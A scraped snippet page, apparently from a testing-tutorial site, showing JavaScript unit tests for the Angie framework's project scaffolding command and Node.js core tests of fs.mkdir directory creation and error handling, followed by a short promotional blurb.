afterEach(() => simple.restore());34    it('test $$createProject called without a name', function() {35        expect(project).to.throw($$ProjectCreationError);36    });37    it('test $$createProject called without a name', function() {38        expect(project.bind(null, {39            name: '111'40        })).to.throw($$ProjectCreationError);41        expect(project.bind(null, {42            name: '#][]\\$%'43        })).to.throw($$ProjectCreationError);44    });45    it('test $$createProject scaffolding error', function() {46        fs.mkdirSync.returnWith(new Error());47        expect(project).to.throw($$ProjectCreationError);48    });49    it('test successful project creation with directory', function() {50        project({51            name: 'test',52            dir: 'test/'53        });54        expect(fs.mkdirSync.calls[0].args[0]).to.eq('test');55        expect(fs.mkdirSync.calls[1].args[0]).to.eq('test/src');56        expect(fs.mkdirSync.calls[2].args[0]).to.eq('test/src/constants');57        expect(fs.mkdirSync.calls[3].args[0]).to.eq('test/src/configs');58        expect(fs.mkdirSync.calls[4].args[0]).to.eq('test/src/services');59        expect(fs.mkdirSync.calls[5].args[0]).to.eq('test/src/factories');60        expect(fs.mkdirSync.calls[6].args[0]).to.eq('test/src/controllers');61        expect(fs.mkdirSync.calls[7].args[0]).to.eq('test/src/directives');62        expect(fs.mkdirSync.calls[8].args[0]).to.eq('test/test');63        expect(fs.mkdirSync.calls[9].args[0]).to.eq('test/static');64        expect(fs.mkdirSync.calls[10].args[0]).to.eq('test/templates');65        expect(promptly.confirm.calls[0].args[0]).to.eq(66            `${bold(green('Do you want Angie to cache static assets?'))} :`67        );68        expect(util.format.calls[0].args.slice(0, 4)).to.deep.eq([69            fs.readFileSync(70                '../../../../src/templates/json/AngieFile.template.json'71            ),72            'test',73            'test',74            true75        ]);76        expect(util.format.calls[0].args[4].val).to.eq(true);77        expect(fs.writeFileSync.calls[0].args).to.deep.eq([78            'test/AngieFile.json', 'test', 'utf8'79        ]);80        expect(81            $LogProvider.info.calls[0].args[0]82        ).to.eq('Project successfully created');83        expect(p.exit.calls[0].args[0]).to.eq(0);84    });85    it('test successful project creation with -n argument', function() {86        yargs([ '-n', 'test' ]);87        project({88            name: 'test1',89            dir: 'test/'90        });91        expect(fs.mkdirSync.calls[0].args[0]).to.eq('test');92        expect(fs.mkdirSync.calls[1].args[0]).to.eq('test/src');93        expect(fs.mkdirSync.calls[2].args[0]).to.eq('test/src/constants');94        expect(fs.mkdirSync.calls[3].args[0]).to.eq('test/src/configs');95        expect(fs.mkdirSync.calls[4].args[0]).to.eq('test/src/services');96        expect(fs.mkdirSync.calls[5].args[0]).to.eq('test/src/factories');97        expect(fs.mkdirSync.calls[6].args[0]).to.eq('test/src/controllers');98        expect(fs.mkdirSync.calls[7].args[0]).to.eq('test/src/directives');99        expect(fs.mkdirSync.calls[8].args[0]).to.eq('test/test');100        expect(fs.mkdirSync.calls[9].args[0]).to.eq('test/static');101        expect(fs.mkdirSync.calls[10].args[0]).to.eq('test/templates');102        expect(promptly.confirm.calls[0].args[0]).to.eq(103            `${bold(green('Do you want Angie to cache static assets?'))} :`104        );105        expect(util.format.calls[0].args.slice(0, 4)).to.deep.eq([106            fs.readFileSync(107                '../../../../src/templates/json/AngieFile.template.json'108            ),109            'test',110            'test',111            true112        ]);113        expect(util.format.calls[0].args[4].val).to.eq(true);114        expect(fs.writeFileSync.calls[0].args).to.deep.eq([115            'test/AngieFile.json', 'test', 'utf8'116        ]);117        expect(118            $LogProvider.info.calls[0].args[0]119        ).to.eq('Project successfully created');120        expect(p.exit.calls[0].args[0]).to.eq(0);121    });122    it('test successful project creation with --name argument', function() {123        yargs([ '--name', 'test' ]);124        project({125            name: 'test1',126            dir: 'test/'127        });128        expect(fs.mkdirSync.calls[0].args[0]).to.eq('test');129        expect(fs.mkdirSync.calls[1].args[0]).to.eq('test/src');130        expect(fs.mkdirSync.calls[2].args[0]).to.eq('test/src/constants');131        expect(fs.mkdirSync.calls[3].args[0]).to.eq('test/src/configs');132        expect(fs.mkdirSync.calls[4].args[0]).to.eq('test/src/services');133        expect(fs.mkdirSync.calls[5].args[0]).to.eq('test/src/factories');134        expect(fs.mkdirSync.calls[6].args[0]).to.eq('test/src/controllers');135        expect(fs.mkdirSync.calls[7].args[0]).to.eq('test/src/directives');136        expect(fs.mkdirSync.calls[8].args[0]).to.eq('test/test');137        expect(fs.mkdirSync.calls[9].args[0]).to.eq('test/static');138        expect(fs.mkdirSync.calls[10].args[0]).to.eq('test/templates');139        expect(promptly.confirm.calls[0].args[0]).to.eq(140            `${bold(green('Do you want Angie to cache static assets?'))} :`141        );142        expect(util.format.calls[0].args.slice(0, 4)).to.deep.eq([143            fs.readFileSync(144                '../../../../src/templates/json/AngieFile.template.json'145            ),146            'test',147            'test',148            true149        ]);150        expect(util.format.calls[0].args[4].val).to.eq(true);151        expect(fs.writeFileSync.calls[0].args).to.deep.eq([152            'test/AngieFile.json', 'test', 'utf8'153        ]);154        expect(155            $LogProvider.info.calls[0].args[0]156        ).to.eq('Project successfully created');157        expect(p.exit.calls[0].args[0]).to.eq(0);158    });159    it('test successful project creation with directory false confirm', function() {160        mock(promptly, 'confirm', function(_, fn) {161            fn(false);162        });163        mock(promptly, 'prompt', function(_, obj = {}, fn) {164            fn(null, false);165        });166        project({167            name: 'test',168            dir: 'test/'169        });170        expect(fs.mkdirSync.calls[0].args[0]).to.eq('test');171        expect(fs.mkdirSync.calls[1].args[0]).to.eq('test/src');172        expect(fs.mkdirSync.calls[2].args[0]).to.eq('test/src/constants');173        expect(fs.mkdirSync.calls[3].args[0]).to.eq('test/src/configs');174        expect(fs.mkdirSync.calls[4].args[0]).to.eq('test/src/services');175        expect(fs.mkdirSync.calls[5].args[0]).to.eq('test/src/factories');176        expect(fs.mkdirSync.calls[6].args[0]).to.eq('test/src/controllers');177        expect(fs.mkdirSync.calls[7].args[0]).to.eq('test/src/directives');178        expect(fs.mkdirSync.calls[8].args[0]).to.eq('test/test');179        expect(fs.mkdirSync.calls[9].args[0]).to.eq('test/static');180        expect(fs.mkdirSync.calls[10].args[0]).to.eq('test/templates');181        expect(promptly.confirm.calls[0].args[0]).to.eq(182            `${bold(green('Do you want Angie to cache static assets?'))} :`183        );184        assert(promptly.prompt.called);185        expect(util.format.calls[0].args.slice(0, 4)).to.deep.eq([186            fs.readFileSync(187                '../../../../src/templates/json/AngieFile.template.json'188            ),189            'test',190            'test',191            false192        ]);193        expect(util.format.calls[0].args[4].val).to.eq(false);194        expect(fs.writeFileSync.calls[0].args).to.deep.eq([195            'test/AngieFile.json', 'test', 'utf8'196        ]);197        expect(198            $LogProvider.info.calls[0].args[0]199        ).to.eq('Project successfully created');200        expect(p.exit.calls[0].args[0]).to.eq(0);201    });202    it('test successful project creation with "." directory', function() {203        project({204            name: 'test',205            dir: '.'206        });207        expect(fs.mkdirSync.calls[0].args[0]).to.eq('src');208        expect(fs.mkdirSync.calls[1].args[0]).to.eq('src/constants');209        expect(fs.mkdirSync.calls[2].args[0]).to.eq('src/configs');210        expect(fs.mkdirSync.calls[3].args[0]).to.eq('src/services');211        expect(fs.mkdirSync.calls[4].args[0]).to.eq('src/factories');212        expect(fs.mkdirSync.calls[5].args[0]).to.eq('src/controllers');213        expect(fs.mkdirSync.calls[6].args[0]).to.eq('src/directives');214        expect(fs.mkdirSync.calls[7].args[0]).to.eq('test');215        expect(fs.mkdirSync.calls[8].args[0]).to.eq('static');216        expect(fs.mkdirSync.calls[9].args[0]).to.eq('templates');217        expect(promptly.confirm.calls[0].args[0]).to.eq(218            `${bold(green('Do you want Angie to cache static assets?'))} :`219        );220        assert(promptly.prompt.called);221        expect(util.format.calls[0].args.slice(0, 4)).to.deep.eq([222            fs.readFileSync(223                '../../../../src/templates/json/AngieFile.template.json'224            ),225            'test',226            'test',227            true228        ]);229        expect(util.format.calls[0].args[4].val).to.eq(true);230        expect(fs.writeFileSync.calls[0].args).to.deep.eq([231            'AngieFile.json', 'test', 'utf8'232        ]);233        expect(234            $LogProvider.info.calls[0].args[0]235        ).to.eq('Project successfully created');236        expect(p.exit.calls[0].args[0]).to.eq(0);237    });238    it('test successful project creation with -d', function() {239        yargs([ '-d', 'test' ]);240        project({241            name: 'test',242            dir: 'test/'243        });244        expect(fs.mkdirSync.calls[0].args[0]).to.eq('test');245        expect(fs.mkdirSync.calls[1].args[0]).to.eq('test/src');246        expect(fs.mkdirSync.calls[2].args[0]).to.eq('test/src/constants');247        expect(fs.mkdirSync.calls[3].args[0]).to.eq('test/src/configs');248        expect(fs.mkdirSync.calls[4].args[0]).to.eq('test/src/services');249        expect(fs.mkdirSync.calls[5].args[0]).to.eq('test/src/factories');250        expect(fs.mkdirSync.calls[6].args[0]).to.eq('test/src/controllers');251        expect(fs.mkdirSync.calls[7].args[0]).to.eq('test/src/directives');252        expect(fs.mkdirSync.calls[8].args[0]).to.eq('test/test');253        expect(fs.mkdirSync.calls[9].args[0]).to.eq('test/static');254        expect(fs.mkdirSync.calls[10].args[0]).to.eq('test/templates');255        expect(promptly.confirm.calls[0].args[0]).to.eq(256            `${bold(green('Do you want Angie to cache static assets?'))} :`257        );258        expect(util.format.calls[0].args.slice(0, 4)).to.deep.eq([259            fs.readFileSync(260                '../../../../src/templates/json/AngieFile.template.json'261            ),262            'test',263            'test',264            true265        ]);266        expect(util.format.calls[0].args[4].val).to.eq(true);267        expect(fs.writeFileSync.calls[0].args).to.deep.eq([268            'test/AngieFile.json', 'test', 'utf8'269        ]);270        expect(271            $LogProvider.info.calls[0].args[0]272        ).to.eq('Project successfully created');273        expect(p.exit.calls[0].args[0]).to.eq(0);274    });275    it('test successful project creation with --dir', function() {276        yargs([ '--dir', 'test' ]);277        project({278            name: 'test',279            dir: 'test/'280        });281        expect(fs.mkdirSync.calls[0].args[0]).to.eq('test');282        expect(fs.mkdirSync.calls[1].args[0]).to.eq('test/src');283        expect(fs.mkdirSync.calls[2].args[0]).to.eq('test/src/constants');284        expect(fs.mkdirSync.calls[3].args[0]).to.eq('test/src/configs');285        expect(fs.mkdirSync.calls[4].args[0]).to.eq('test/src/services');286        expect(fs.mkdirSync.calls[5].args[0]).to.eq('test/src/factories');287        expect(fs.mkdirSync.calls[6].args[0]).to.eq('test/src/controllers');288        expect(fs.mkdirSync.calls[7].args[0]).to.eq('test/src/directives');289        expect(fs.mkdirSync.calls[8].args[0]).to.eq('test/test');290        expect(fs.mkdirSync.calls[9].args[0]).to.eq('test/static');291        expect(fs.mkdirSync.calls[10].args[0]).to.eq('test/templates');292        expect(promptly.confirm.calls[0].args[0]).to.eq(293            `${bold(green('Do you want Angie to cache static assets?'))} :`294        );295        expect(util.format.calls[0].args.slice(0, 4)).to.deep.eq([296            fs.readFileSync(297                '../../../../src/templates/json/AngieFile.template.json'298            ),299            'test',300            'test',301            true302        ]);303        expect(util.format.calls[0].args[4].val).to.eq(true);304        expect(fs.writeFileSync.calls[0].args).to.deep.eq([305            'test/AngieFile.json', 'test', 'utf8'306        ]);307        expect(308            $LogProvider.info.calls[0].args[0]309        ).to.eq('Project successfully created');310        expect(p.exit.calls[0].args[0]).to.eq(0);311    });312    it('test successful project creation with no directory', function() {313        const CWD = p.cwd();314        project({315            name: 'test'316        });317        expect(fs.mkdirSync.calls[0].args[0]).to.eq(`${CWD}/test`);318        expect(fs.mkdirSync.calls[1].args[0]).to.eq(`${CWD}/test/src`);319        expect(fs.mkdirSync.calls[2].args[0]).to.eq(320            `${CWD}/test/src/constants`321        );322        expect(fs.mkdirSync.calls[3].args[0]).to.eq(323            `${CWD}/test/src/configs`324        );325        expect(fs.mkdirSync.calls[4].args[0]).to.eq(326            `${CWD}/test/src/services`327        );328        expect(fs.mkdirSync.calls[5].args[0]).to.eq(329            `${CWD}/test/src/factories`330        );331        expect(fs.mkdirSync.calls[6].args[0]).to.eq(332            `${CWD}/test/src/controllers`333        );334        expect(fs.mkdirSync.calls[7].args[0]).to.eq(335            `${CWD}/test/src/directives`336        );337        expect(338            fs.mkdirSync.calls[8].args[0]339        ).to.eq(`${CWD}/test/test`);340        expect(341            fs.mkdirSync.calls[9].args[0]342        ).to.eq(`${CWD}/test/static`);343        expect(344            fs.mkdirSync.calls[10].args[0]345        ).to.eq(`${CWD}/test/templates`);346        expect(promptly.confirm.calls[0].args[0]).to.eq(347            `${bold(green('Do you want Angie to cache static assets?'))} :`348        );349        assert(promptly.prompt.called);350        expect(util.format.calls[0].args.slice(0, 4)).to.deep.eq([351            fs.readFileSync(352                '../../../../src/templates/json/AngieFile.template.json'353            ),354            'test',355            'test',356            true357        ]);358        expect(util.format.calls[0].args[4].val).to.eq(true);359        expect(fs.writeFileSync.calls[0].args).to.deep.eq([360            `${CWD}/test/AngieFile.json`, 'test', 'utf8'361        ]);362        expect(363            $LogProvider.info.calls[0].args[0]364        ).to.eq('Project successfully created');365        expect(p.exit.calls[0].args[0]).to.eq(0);366    });...test-fs-mkdir.js
Source:test-fs-mkdir.js  
...31}32// fs.mkdir creates directory using assigned path33{34  const pathname = path.join(tmpdir.path, nextdir());35  fs.mkdir(pathname, common.mustCall(function(err) {36    assert.strictEqual(err, null);37    assert.strictEqual(fs.existsSync(pathname), true);38  }));39}40// fs.mkdir creates directory with assigned mode value41{42  const pathname = path.join(tmpdir.path, nextdir());43  fs.mkdir(pathname, 0o777, common.mustCall(function(err) {44    assert.strictEqual(err, null);45    assert.strictEqual(fs.existsSync(pathname), true);46  }));47}48// fs.mkdir creates directory with mode passed as an options object49{50  const pathname = path.join(tmpdir.path, nextdir());51  fs.mkdir(pathname, { mode: 0o777 }, common.mustCall(function(err) {52    assert.strictEqual(err, null);53    assert.strictEqual(fs.existsSync(pathname), true);54  }));55}56// fs.mkdirSync creates directory with mode passed as an options object57{58  const pathname = path.join(tmpdir.path, nextdir());59  fs.mkdirSync(pathname, { mode: 0o777 });60  assert.strictEqual(fs.existsSync(pathname), true);61}62// mkdirSync successfully creates directory from given path63{64  const pathname = path.join(tmpdir.path, nextdir());65  fs.mkdirSync(pathname);66  const exists = fs.existsSync(pathname);67  assert.strictEqual(exists, true);68}69// mkdirSync and mkdir require path to be a string, buffer or url.70// Anything else generates an error.71[false, 1, {}, [], null, undefined].forEach((i) => {72  assert.throws(73    () => fs.mkdir(i, common.mustNotCall()),74    {75      code: 'ERR_INVALID_ARG_TYPE',76      name: 'TypeError'77    }78  );79  assert.throws(80    () => fs.mkdirSync(i),81    {82      code: 'ERR_INVALID_ARG_TYPE',83      name: 'TypeError'84    }85  );86});87// mkdirpSync when both top-level, and sub-folders do not exist.88{89  const pathname = path.join(tmpdir.path, nextdir(), nextdir());90  fs.mkdirSync(pathname, { recursive: true });91  const exists = fs.existsSync(pathname);92  assert.strictEqual(exists, true);93  assert.strictEqual(fs.statSync(pathname).isDirectory(), true);94}95// mkdirpSync when folder already exists.96{97  const pathname = path.join(tmpdir.path, nextdir(), nextdir());98  fs.mkdirSync(pathname, { recursive: true });99  // Should not cause an error.100  fs.mkdirSync(pathname, { recursive: true });101  const exists = fs.existsSync(pathname);102  assert.strictEqual(exists, true);103  assert.strictEqual(fs.statSync(pathname).isDirectory(), true);104}105// mkdirpSync ../106{107  const pathname = `${tmpdir.path}/${nextdir()}/../${nextdir()}/${nextdir()}`;108  fs.mkdirSync(pathname, { recursive: true });109  const exists = fs.existsSync(pathname);110  assert.strictEqual(exists, true);111  assert.strictEqual(fs.statSync(pathname).isDirectory(), true);112}113// mkdirpSync when path is a file.114{115  const pathname = path.join(tmpdir.path, nextdir(), nextdir());116  fs.mkdirSync(path.dirname(pathname));117  fs.writeFileSync(pathname, '', 'utf8');118  assert.throws(119    () => { fs.mkdirSync(pathname, { recursive: true }); },120    {121      code: 'EEXIST',122      message: /EEXIST: .*mkdir/,123      name: 'Error',124      syscall: 'mkdir',125    }126  );127}128// mkdirpSync when part of the path is a file.129{130  const filename = path.join(tmpdir.path, nextdir(), nextdir());131  const pathname = path.join(filename, nextdir(), nextdir());132  fs.mkdirSync(path.dirname(filename));133  fs.writeFileSync(filename, '', 'utf8');134  assert.throws(135    () => { fs.mkdirSync(pathname, { recursive: true }); },136    {137      code: 'ENOTDIR',138      message: /ENOTDIR: .*mkdir/,139      name: 'Error',140      syscall: 'mkdir',141      path: pathname // See: https://github.com/nodejs/node/issues/28015142    }143  );144}145// `mkdirp` when folder does not yet exist.146{147  const pathname = path.join(tmpdir.path, nextdir(), nextdir());148  fs.mkdir(pathname, { recursive: true }, common.mustCall(function(err) {149    assert.strictEqual(err, null);150    assert.strictEqual(fs.existsSync(pathname), true);151    assert.strictEqual(fs.statSync(pathname).isDirectory(), true);152  }));153}154// `mkdirp` when path is a file.155{156  const pathname = path.join(tmpdir.path, nextdir(), nextdir());157  fs.mkdirSync(path.dirname(pathname));158  fs.writeFileSync(pathname, '', 'utf8');159  fs.mkdir(pathname, { recursive: true }, common.mustCall((err) => {160    assert.strictEqual(err.code, 'EEXIST');161    assert.strictEqual(err.syscall, 'mkdir');162    assert.strictEqual(fs.statSync(pathname).isDirectory(), false);163  }));164}165// `mkdirp` when part of the path is a file.166{167  const filename = path.join(tmpdir.path, nextdir(), nextdir());168  const pathname = path.join(filename, nextdir(), nextdir());169  fs.mkdirSync(path.dirname(filename));170  fs.writeFileSync(filename, '', 'utf8');171  fs.mkdir(pathname, { recursive: true }, common.mustCall((err) => {172    assert.strictEqual(err.code, 'ENOTDIR');173    assert.strictEqual(err.syscall, 'mkdir');174    assert.strictEqual(fs.existsSync(pathname), false);175    // See: https://github.com/nodejs/node/issues/28015176    // The path field varies slightly in Windows errors, vs., other platforms177    // see: https://github.com/libuv/libuv/issues/2661, for this reason we178    // use startsWith() rather than comparing to the full "pathname".179    assert(err.path.startsWith(filename));180  }));181}182// mkdirpSync dirname loop183// XXX: windows and smartos have issues removing a directory that you're in.184if (common.isMainThread && (common.isLinux || common.isOSX)) {185  const pathname = path.join(tmpdir.path, nextdir());186  fs.mkdirSync(pathname);187  process.chdir(pathname);188  fs.rmdirSync(pathname);189  assert.throws(190    () => { fs.mkdirSync('X', { recursive: true }); },191    {192      code: 'ENOENT',193      message: /ENOENT: .*mkdir/,194      name: 'Error',195      syscall: 'mkdir',196    }197  );198  fs.mkdir('X', { recursive: true }, (err) => {199    assert.strictEqual(err.code, 'ENOENT');200    assert.strictEqual(err.syscall, 'mkdir');201  });202}203// mkdirSync and mkdir require options.recursive to be a boolean.204// Anything else generates an error.205{206  const pathname = path.join(tmpdir.path, nextdir());207  ['', 1, {}, [], null, Symbol('test'), () => {}].forEach((recursive) => {208    const received = common.invalidArgTypeHelper(recursive);209    assert.throws(210      () => fs.mkdir(pathname, { recursive }, common.mustNotCall()),211      {212        code: 'ERR_INVALID_ARG_TYPE',213        name: 'TypeError',214        message: 'The "options.recursive" property must be of type boolean.' +215          received216      }217    );218    assert.throws(219      () => fs.mkdirSync(pathname, { recursive }),220      {221        code: 'ERR_INVALID_ARG_TYPE',222        name: 'TypeError',223        message: 'The "options.recursive" property must be of type boolean.' +224          received225      }226    );227  });228}229// `mkdirp` returns first folder created, when all folders are new.230{231  const dir1 = nextdir();232  const dir2 = nextdir();233  const firstPathCreated = path.join(tmpdir.path, dir1);234  const pathname = path.join(tmpdir.path, dir1, dir2);235  fs.mkdir(pathname, { recursive: true }, common.mustCall(function(err, path) {236    assert.strictEqual(err, null);237    assert.strictEqual(fs.existsSync(pathname), true);238    assert.strictEqual(fs.statSync(pathname).isDirectory(), true);239    assert.strictEqual(path, firstPathCreated);240  }));241}242// `mkdirp` returns first folder created, when last folder is new.243{244  const dir1 = nextdir();245  const dir2 = nextdir();246  const pathname = path.join(tmpdir.path, dir1, dir2);247  fs.mkdirSync(path.join(tmpdir.path, dir1));248  fs.mkdir(pathname, { recursive: true }, common.mustCall(function(err, path) {249    assert.strictEqual(err, null);250    assert.strictEqual(fs.existsSync(pathname), true);251    assert.strictEqual(fs.statSync(pathname).isDirectory(), true);252    assert.strictEqual(path, pathname);253  }));254}255// `mkdirp` returns undefined, when no new folders are created.256{257  const dir1 = nextdir();258  const dir2 = nextdir();259  const pathname = path.join(tmpdir.path, dir1, dir2);260  fs.mkdirSync(path.join(tmpdir.path, dir1, dir2), { recursive: true });261  fs.mkdir(pathname, { recursive: true }, common.mustCall(function(err, path) {262    assert.strictEqual(err, null);263    assert.strictEqual(fs.existsSync(pathname), true);264    assert.strictEqual(fs.statSync(pathname).isDirectory(), true);265    assert.strictEqual(path, undefined);266  }));267}268// `mkdirp.sync` returns first folder created, when all folders are new.269{270  const dir1 = nextdir();271  const dir2 = nextdir();272  const firstPathCreated = path.join(tmpdir.path, dir1);273  const pathname = path.join(tmpdir.path, dir1, dir2);274  const p = fs.mkdirSync(pathname, { recursive: true });275  assert.strictEqual(fs.existsSync(pathname), true);276  assert.strictEqual(fs.statSync(pathname).isDirectory(), true);277  assert.strictEqual(p, firstPathCreated);278}279// `mkdirp.sync` returns first folder created, when last folder is new.280{281  const dir1 = nextdir();282  const dir2 = nextdir();283  const pathname = path.join(tmpdir.path, dir1, dir2);284  fs.mkdirSync(path.join(tmpdir.path, dir1), { recursive: true });285  const p = fs.mkdirSync(pathname, { recursive: true });286  assert.strictEqual(fs.existsSync(pathname), true);287  assert.strictEqual(fs.statSync(pathname).isDirectory(), true);288  assert.strictEqual(p, pathname);289}290// `mkdirp.sync` returns undefined, when no new folders are created.291{292  const dir1 = nextdir();293  const dir2 = nextdir();294  const pathname = path.join(tmpdir.path, dir1, dir2);295  fs.mkdirSync(path.join(tmpdir.path, dir1, dir2), { recursive: true });296  const p = fs.mkdirSync(pathname, { recursive: true });297  assert.strictEqual(fs.existsSync(pathname), true);298  assert.strictEqual(fs.statSync(pathname).isDirectory(), true);299  assert.strictEqual(p, undefined);300}301// `mkdirp.promises` returns first folder created, when all folders are new.302{303  const dir1 = nextdir();304  const dir2 = nextdir();305  const firstPathCreated = path.join(tmpdir.path, dir1);306  const pathname = path.join(tmpdir.path, dir1, dir2);307  async function testCase() {308    const p = await fs.promises.mkdir(pathname, { recursive: true });309    assert.strictEqual(fs.existsSync(pathname), true);310    assert.strictEqual(fs.statSync(pathname).isDirectory(), true);311    assert.strictEqual(p, firstPathCreated);312  }313  testCase();314}315// Keep the event loop alive so the async mkdir() requests316// have a chance to run (since they don't ref the event loop)....Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.
You could also refer to video tutorials over LambdaTest YouTube channel to get step by step demonstration from industry experts.
Get 100 minutes of automation test minutes FREE!!
